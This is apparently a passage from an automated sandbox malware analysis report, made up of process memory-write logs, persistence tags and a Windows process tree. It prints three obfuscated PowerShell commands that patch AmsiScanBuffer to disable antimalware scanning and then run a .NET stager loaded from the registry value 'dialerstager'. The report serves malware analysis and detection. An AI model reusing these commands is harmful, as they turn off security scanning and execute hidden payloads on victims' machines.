PID 1640 wrote to memory of 3888	1640	firefox.exe	100
PID 1640 wrote to memory of 3888	1640	firefox.exe	100
PID 1640 wrote to memory of 4456	1640	firefox.exe	101
PID 1640 wrote to memory of 4456	1640	firefox.exe	101
PID 1640 wrote to memory of 4456	1640	firefox.exe	101
PID 1640 wrote to memory of 4456	1640	firefox.exe	101
PID 1640 wrote to memory of 2732	1640	firefox.exe	102
PID 1640 wrote to memory of 2732	1640	firefox.exe	102
PID 1640 wrote to memory of 2732	1640	firefox.exe	102
PID 1640 wrote to memory of 2732	1640	firefox.exe	102
PID 1640 wrote to memory of 4536	1640	firefox.exe	103
PID 1640 wrote to memory of 4536	1640	firefox.exe	103
PID 1640 wrote to memory of 4536	1640	firefox.exe	103
PID 1640 wrote to memory of 4536	1640	firefox.exe	103
PID 1640 wrote to memory of 5532	1640	firefox.exe	104
PID 1640 wrote to memory of 5532	1640	firefox.exe	104
PID 1640 wrote to memory of 5532	1640	firefox.exe	104
PID 1640 wrote to memory of 5532	1640	firefox.exe	104
PID 4556 wrote to memory of 1508	4556	keshka.exe	105
PID 1508 wrote to memory of 5244	1508	SppExtComObj.Exe	106
PID 1508 wrote to memory of 1564	1508	SppExtComObj.Exe	108
PID 1508 wrote to memory of 7020	1508	SppExtComObj.Exe	110
PID 7020 wrote to memory of 1236	7020	cmd.exe	112
PID 1508 wrote to memory of 4260	1508	SppExtComObj.Exe	113
PID 1236 wrote to memory of 3608	1236	f.exe	120
PID 1236 wrote to memory of 3608	1236	f.exe	120
PID 1236 wrote to memory of 3608	1236	f.exe	120
PID 1236 wrote to memory of 3608	1236	f.exe	120
PID 1236 wrote to memory of 3608	1236	f.exe	120
PID 5132 wrote to memory of 5804	5132	cmd.exe	124
PID 472 wrote to memory of 6640	472	rjyzvekkqzsi.exe	138
PID 472 wrote to memory of 6640	472	rjyzvekkqzsi.exe	138
PID 472 wrote to memory of 6640	472	rjyzvekkqzsi.exe	138
PID 472 wrote to memory of 6640	472	rjyzvekkqzsi.exe	138
PID 472 wrote to memory of 6640	472	rjyzvekkqzsi.exe	138
PID 472 wrote to memory of 6700	472	rjyzvekkqzsi.exe	139
PID 472 wrote to memory of 6700	472	rjyzvekkqzsi.exe	139
PID 472 wrote to memory of 6700	472	rjyzvekkqzsi.exe	139
PID 472 wrote to memory of 6700	472	rjyzvekkqzsi.exe	139
PID 472 wrote to memory of 6700	472	rjyzvekkqzsi.exe	139
PID 472 wrote to memory of 6700	472	rjyzvekkqzsi.exe	139
PID 472 wrote to memory of 6700	472	rjyzvekkqzsi.exe	139

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:620
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:712
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{377a0bcf-8ecc-4a71-88a8-1f41e7a1aefd}
  2⤵
  PID:6100
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{695ba020-ca92-4281-8ffa-ae6adc89fbdf}
  2⤵
  PID:2280
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{c44f20b5-4715-4696-98d4-8d95a3c0d811}
  2⤵
  PID:2488
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{08cb40ed-a954-45ef-ac08-16d6cd0872db}
  2⤵
  PID:5404
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{0e57a162-936f-413f-bc60-3c13989f8bb9}
  2⤵
  PID:1676
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{f53cdd9c-faa0-435e-a4c3-cb19f0b96434}
  2⤵
  PID:6152
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{fe574981-2aef-4ee5-b472-d6cda19b85cb}
  2⤵
  PID:6604
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{77febca6-0b74-4922-b669-9fa54c02a305}
  2⤵
  PID:2308

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:676

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-47a2c366-8add-4d8a-a821-56d443419498 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-2fad311d-6eaf-4625-8258-2474b2c86ec7 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-748530f1-1aa1-46db-8c65-c7467d4024ed -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-18d206ef-090f-4a96-aca7-b1f81279775a -LifetimeId:7cbfd199-9a8d-4ef6-9f0a-ac2343e10b62 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:884

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1012

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:752

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1064

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1076

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1184

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1192
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:3140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE" "function Local:MQlnomqFWIeV{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$jWuDvyfswCDFaY,[Parameter(Position=1)][Type]$RDqtNtKwGd)$kZXxNuNTAeD=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+'f'+''+[Char](108)+''+[Char](101)+''+[Char](99)+'ted'+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+'g'+'a'+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+'r'+'y'+'M'+''+[Char](111)+'du'+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+[Char](101)+'l'+[Char](101)+'g'+'a'+'t'+[Char](101)+''+'T'+''+[Char](121)+'p'+[Char](101)+'',''+[Char](67)+''+[Char](108)+'as'+'s'+''+[Char](44)+''+[Char](80)+''+[Char](117)+'b'+'l'+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+'l'+''+'e'+''+[Char](100)+''+','+'A'+[Char](110)+''+[Char](115)+'i'+'C'+'l'+'a'+'s'+'s'+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+[Char](111)+'C'+[Char](108)+'as'+[Char](115)+'',[MulticastDelegate]);$kZXxNuNTAeD.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+''+[Char](112)+''+[Char](101)+''+'c'+''+'i'+''+[Char](97)+''+'l'+''+'N'+'am'+'e'+',H'+[Char](105)+''+[Char](100)+'e'+[Char](66)+'y'+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+'P'+'u'+''+[Char](98)+''+'l'+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$jWuDvyfswCDFaY).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+'m'+[Char](101)+','+[Char](77)+''+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');$kZXxNuNTAeD.DefineMethod(''+'I'+''+'n'+''+'v'+''+[Char](111)+''+'k'+''+'e'+'',''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+[Char](72)+'i'+[Char](100)+'e'+'B'+''+'y'+''+'S'+''+'i'+''+[Char](103)+','+[Char](78)+''+'e'+''+'w'+''+[Char](83)+'l'+[Char](111)+'t'+[Char](44)+''+'V'+''+'i'+''+'r'+''+'t'+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$RDqtNtKwGd,$jWuDvyfswCDFaY).SetImplementationFlags('R'+'u'+''+[Char](110)+''+[Char](116)+'i'+'m'+''+[Char](101)+''+','+'M'+'a'+'n'+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $kZXxNuNTAeD.CreateType();}$PPjShTkXtRkUq=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+''+[Char](116)+'e'+'m'+''+'.'+''+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+'c'+'r'+''+[Char](111)+'s'+[Char](111)+''+[Char](102)+'t'+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+'3'+'2'+[Char](46)+''+[Char](85)+''+[Char](110)+''+[Char](115)+''+'a'+''+[Char](102)+''+[Char](101)+''+[Char](78)+'a'+[Char](116)+'i'+[Char](118)+''+[Char](101)+''+'M'+'et'+[Char](104)+''+'o'+''+[Char](100)+'s');$YyyFAOvMdtcscq=$PPjShTkXtRkUq.GetMethod(''+'G'+'e'+[Char](116)+''+[Char](80)+''+[Char](114)+'o'+[Char](99)+''+'A'+''+[Char](100)+''+[Char](100)+'r'+'e'+'s'+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+''+'S'+'t'+[Char](97)+''+'t'+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$SstmhCJWyVqvpzFteYq=MQlnomqFWIeV @([String])([IntPtr]);$ppXfMBigIErRKSHtmpQqqM=MQlnomqFWIeV @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$xSkcCmMPMrW=$PPjShTkXtRkUq.GetMethod(''+[Char](71)+'e'+[Char](116)+'M'+'o'+''+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+'H'+[Char](97)+''+[Char](110)+''+'d'+'l'+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+[Char](114)+''+'n'+'e'+[Char](108)+''+'3'+''+[Char](50)+''+[Char](46)+'dll')));$zTHrFAWWZNZbav=$YyyFAOvMdtcscq.Invoke($Null,@([Object]$xSkcCmMPMrW,[Object]('L'+[Char](111)+'ad'+[Char](76)+''+[Char](105)+'b'+[Char](114)+''+[Char](97)+''+'r'+'y'+[Char](65)+'')));$WnoyPIQytcvSVYadu=$YyyFAOvMdtcscq.Invoke($Null,@([Object]$xSkcCmMPMrW,[Object](''+[Char](86)+'ir'+[Char](116)+''+[Char](117)+''+[Char](97)+'l'+'P'+''+'r'+'o'+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$fArBvQV=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($zTHrFAWWZNZbav,$SstmhCJWyVqvpzFteYq).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'');$zXSjEEZhFeKpNRVDZ=$YyyFAOvMdtcscq.Invoke($Null,@([Object]$fArBvQV,[Object]('A'+[Char](109)+''+[Char](115)+'i'+'S'+''+[Char](99)+''+[Char](97)+''+[Char](110)+''+'B'+''+'u'+'f'+'f'+'e'+[Char](114)+'')));$zfOkqwvrnp=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WnoyPIQytcvSVYadu,$ppXfMBigIErRKSHtmpQqqM).Invoke($zXSjEEZhFeKpNRVDZ,[uint32]8,4,[ref]$zfOkqwvrnp);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$zXSjEEZhFeKpNRVDZ,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WnoyPIQytcvSVYadu,$ppXfMBigIErRKSHtmpQqqM).Invoke($zXSjEEZhFeKpNRVDZ,[uint32]8,0x20,[ref]$zfOkqwvrnp);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+'F'+[Char](84)+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+'d'+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](101)+'r'+'s'+'t'+[Char](97)+'g'+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:1636
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE" "function Local:onlEKPfGcaZF{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$XNelKAcJIttzzx,[Parameter(Position=1)][Type]$jitxNXwfbZ)$HAuWmsmxTuB=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+''+'t'+''+'e'+''+'d'+''+[Char](68)+'e'+[Char](108)+'e'+[Char](103)+''+'a'+''+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+''+[Char](101)+'m'+[Char](111)+''+[Char](114)+'yM'+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+'e',$False).DefineType('M'+[Char](121)+''+[Char](68)+''+[Char](101)+'l'+[Char](101)+''+[Char](103)+''+'a'+'t'+[Char](101)+'T'+'y'+'p'+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+'P'+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+'S'+''+[Char](101)+''+[Char](97)+'l'+[Char](101)+''+'d'+''+[Char](44)+'A'+[Char](110)+''+[Char](115)+''+'i'+'Cl'+[Char](97)+'s'+'s'+''+','+''+[Char](65)+''+'u'+''+'t'+'oC'+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$HAuWmsmxTuB.DefineConstructor(''+'R'+'T'+[Char](83)+''+'p'+''+'e'+''+[Char](99)+''+[Char](105)+'a'+[Char](108)+''+[Char](78)+''+'a'+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+'eB'+[Char](121)+'Si'+[Char](103)+''+','+''+'P'+''+[Char](117)+'b'+[Char](108)+''+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$XNelKAcJIttzzx).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+'ti'+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+''+'d'+'');$HAuWmsmxTuB.DefineMethod(''+'I'+''+[Char](110)+''+'v'+''+'o'+''+'k'+''+'e'+'',''+'P'+''+[Char](117)+''+[Char](98)+'lic'+[Char](44)+''+[Char](72)+'i'+[Char](100)+''+[Char](101)+''+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+'g'+[Char](44)+''+'N'+''+[Char](101)+'w'+[Char](83)+'l'+'o'+''+'t'+''+','+''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+'a'+[Char](108)+'',$jitxNXwfbZ,$XNelKAcJIttzzx).SetImplementationFlags('R'+'u'+''+[Char](110)+''+[Char](116)+''+[Char](105)+'me,Man'+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $HAuWmsmxTuB.CreateType();}$mfDqrwIjUWaTk=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+'s'+''+'t'+'e'+[Char](109)+''+[Char](46)+'d'+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+[Char](114)+'os'+[Char](111)+'f'+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+'.'+''+[Char](85)+'ns'+[Char](97)+''+[Char](102)+''+'e'+''+'N'+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+'M'+''+[Char](101)+''+'t'+''+[Char](104)+''+[Char](111)+'d'+[Char](115)+'');$EqrKKZmuINTKyI=$mfDqrwIjUWaTk.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+'P'+[Char](114)+''+[Char](111)+''+[Char](99)+''+[Char](65)+''+'d'+''+'d'+'re'+[Char](115)+'s',[Reflection.BindingFlags](''+'P'+''+[Char](117)+'b'+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+'S'+''+[Char](116)+''+'a'+''+'t'+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$mzKOxhampQfdHDsLWFp=onlEKPfGcaZF @([String])([IntPtr]);$oyhKRVkLbKYlGhMzfXscfE=onlEKPfGcaZF @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$uiPcSlKRfGV=$mfDqrwIjUWaTk.GetMethod(''+'G'+''+[Char](101)+''+'t'+'Mo'+[Char](100)+''+'u'+''+[Char](108)+''+'e'+'H'+[Char](97)+''+[Char](110)+''+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+''+'n'+'e'+[Char](108)+''+'3'+''+'2'+''+'.'+''+'d'+''+'l'+'l')));$YVjMXhaPlBuFPP=$EqrKKZmuINTKyI.Invoke($Null,@([Object]$uiPcSlKRfGV,[Object](''+'L'+''+[Char](111)+''+'a'+''+[Char](100)+''+'L'+'i'+'b'+''+'r'+''+'a'+'r'+[Char](121)+'A')));$XNEfxVqofNNivLJpm=$EqrKKZmuINTKyI.Invoke($Null,@([Object]$uiPcSlKRfGV,[Object](''+'V'+''+[Char](105)+''+[Char](114)+''+'t'+'ua'+'l'+''+[Char](80)+''+[Char](114)+''+[Char](111)+'t'+'e'+'c'+[Char](116)+'')));$weXOUMy=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($YVjMXhaPlBuFPP,$mzKOxhampQfdHDsLWFp).Invoke(''+[Char](97)+''+'m'+'s'+[Char](105)+'.'+[Char](100)+'l'+'l'+'');$XHeHEhyslpSEsYpda=$EqrKKZmuINTKyI.Invoke($Null,@([Object]$weXOUMy,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+'i'+''+'S'+'c'+'a'+'n'+'B'+''+'u'+''+[Char](102)+'f'+[Char](101)+''+[Char](114)+'')));$xBWNyNVbTb=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XNEfxVqofNNivLJpm,$oyhKRVkLbKYlGhMzfXscfE).Invoke($XHeHEhyslpSEsYpda,[uint32]8,4,[ref]$xBWNyNVbTb);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$XHeHEhyslpSEsYpda,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XNEfxVqofNNivLJpm,$oyhKRVkLbKYlGhMzfXscfE).Invoke($XHeHEhyslpSEsYpda,[uint32]8,0x20,[ref]$xBWNyNVbTb);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+'T'+'W'+[Char](65)+''+'R'+'E').GetValue(''+[Char](100)+'iale'+[Char](114)+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+'g'+'e'+'r'+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  PID:6728
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6320
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE" "function Local:rFgnSLzKjwQg{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$EevDrEQtzwDZYf,[Parameter(Position=1)][Type]$RFQQgQDHcI)$OBvZLYliYsP=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+'l'+''+'e'+'c'+[Char](116)+''+[Char](101)+''+[Char](100)+''+'D'+''+[Char](101)+'l'+'e'+'g'+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+'M'+'e'+[Char](109)+''+[Char](111)+'r'+'y'+''+'M'+''+'o'+''+'d'+''+[Char](117)+'le',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+''+[Char](84)+'y'+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+'c'+''+[Char](44)+''+[Char](83)+'e'+[Char](97)+'l'+'e'+''+'d'+',A'+[Char](110)+''+'s'+'i'+'C'+''+[Char](108)+''+[Char](97)+''+'s'+''+'s'+''+','+'A'+[Char](117)+''+'t'+'oC'+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$OBvZLYliYsP.DefineConstructor('R'+[Char](84)+''+[Char](83)+'pec'+'i'+''+'a'+''+[Char](108)+''+'N'+''+[Char](97)+''+[Char](109)+''+'e'+''+[Char](44)+'H'+'i'+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+'y'+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+'l'+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$EevDrEQtzwDZYf).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+'t'+'i'+[Char](109)+''+'e'+','+[Char](77)+''+[Char](97)+'n'+[Char](97)+'g'+[Char](101)+''+[Char](100)+'');$OBvZLYliYsP.DefineMethod(''+[Char](73)+''+'n'+'v'+[Char](111)+''+[Char](107)+''+[Char](101)+'','P'+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+','+'H'+''+'i'+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+','+''+'N'+''+'e'+''+'w'+'Sl'+'o'+''+'t'+','+'V'+''+'i'+'r'+'t'+'ua'+[Char](108)+'',$RFQQgQDHcI,$EevDrEQtzwDZYf).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+'a'+'n'+''+'a'+''+[Char](103)+'e'+[Char](100)+'');Write-Output $OBvZLYliYsP.CreateType();}$BGVJoWafpYPnz=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+'t'+[Char](101)+'m'+[Char](46)+''+[Char](100)+''+[Char](108)+'l')}).GetType('Mic'+[Char](114)+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+'t'+''+[Char](46)+'W'+[Char](105)+'n'+[Char](51)+''+'2'+''+[Char](46)+'Uns'+'a'+''+[Char](102)+''+[Char](101)+''+'N'+''+[Char](97)+'t'+[Char](105)+''+[Char](118)+''+[Char](101)+'M'+'e'+''+'t'+''+[Char](104)+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$nZPFTRXjgrLdHF=$BGVJoWafpYPnz.GetMethod(''+[Char](71)+''+'e'+'tP'+[Char](114)+''+[Char](111)+''+[Char](99)+''+'A'+''+[Char](100)+''+'d'+''+[Char](114)+'ess',[Reflection.BindingFlags](''+[Char](80)+'u'+[Char](98)+'l'+'i'+'c,S'+'t'+''+[Char](97)+''+[Char](116)+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$WxwOkDbBkxIgMWVdHmO=rFgnSLzKjwQg @([String])([IntPtr]);$wyVzhmeSvUBdMLjIdEhwZN=rFgnSLzKjwQg @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$vDGGHtyNqdw=$BGVJoWafpYPnz.GetMethod('G'+[Char](101)+''+'t'+''+[Char](77)+''+'o'+''+'d'+''+[Char](117)+''+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+'rn'+'e'+''+[Char](108)+''+[Char](51)+'2'+'.'+''+[Char](100)+'ll')));$tMSvbkSvkOFlZJ=$nZPFTRXjgrLdHF.Invoke($Null,@([Object]$vDGGHtyNqdw,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+'dLi'+[Char](98)+''+'r'+''+[Char](97)+''+'r'+''+'y'+''+[Char](65)+'')));$UGvzPWfdRhObFhEfp=$nZPFTRXjgrLdHF.Invoke($Null,@([Object]$vDGGHtyNqdw,[Object](''+[Char](86)+''+'i'+'r'+'t'+''+[Char](117)+''+[Char](97)+'l'+[Char](80)+'r'+[Char](111)+''+'t'+''+[Char](101)+''+'c'+''+[Char](116)+'')));$QIUoRHW=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($tMSvbkSvkOFlZJ,$WxwOkDbBkxIgMWVdHmO).Invoke('a'+[Char](109)+'s'+'i'+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$cupBUuoTLMqLbMtSR=$nZPFTRXjgrLdHF.Invoke($Null,@([Object]$QIUoRHW,[Object](''+[Char](65)+'m'+[Char](115)+'i'+'S'+''+[Char](99)+''+[Char](97)+''+'n'+''+'B'+''+[Char](117)+''+[Char](102)+''+'f'+''+[Char](101)+''+[Char](114)+'')));$EdcwVYKJwZ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UGvzPWfdRhObFhEfp,$wyVzhmeSvUBdMLjIdEhwZN).Invoke($cupBUuoTLMqLbMtSR,[uint32]8,4,[ref]$EdcwVYKJwZ);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$cupBUuoTLMqLbMtSR,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UGvzPWfdRhObFhEfp,$wyVzhmeSvUBdMLjIdEhwZN).Invoke($cupBUuoTLMqLbMtSR,[uint32]8,0x20,[ref]$EdcwVYKJwZ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+'F'+[Char](84)+''+[Char](87)+'A'+[Char](82)+'E').GetValue(''+[Char](100)+''+[Char](105)+'aler'+[Char](115)+''+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  PID:932
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:7108
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
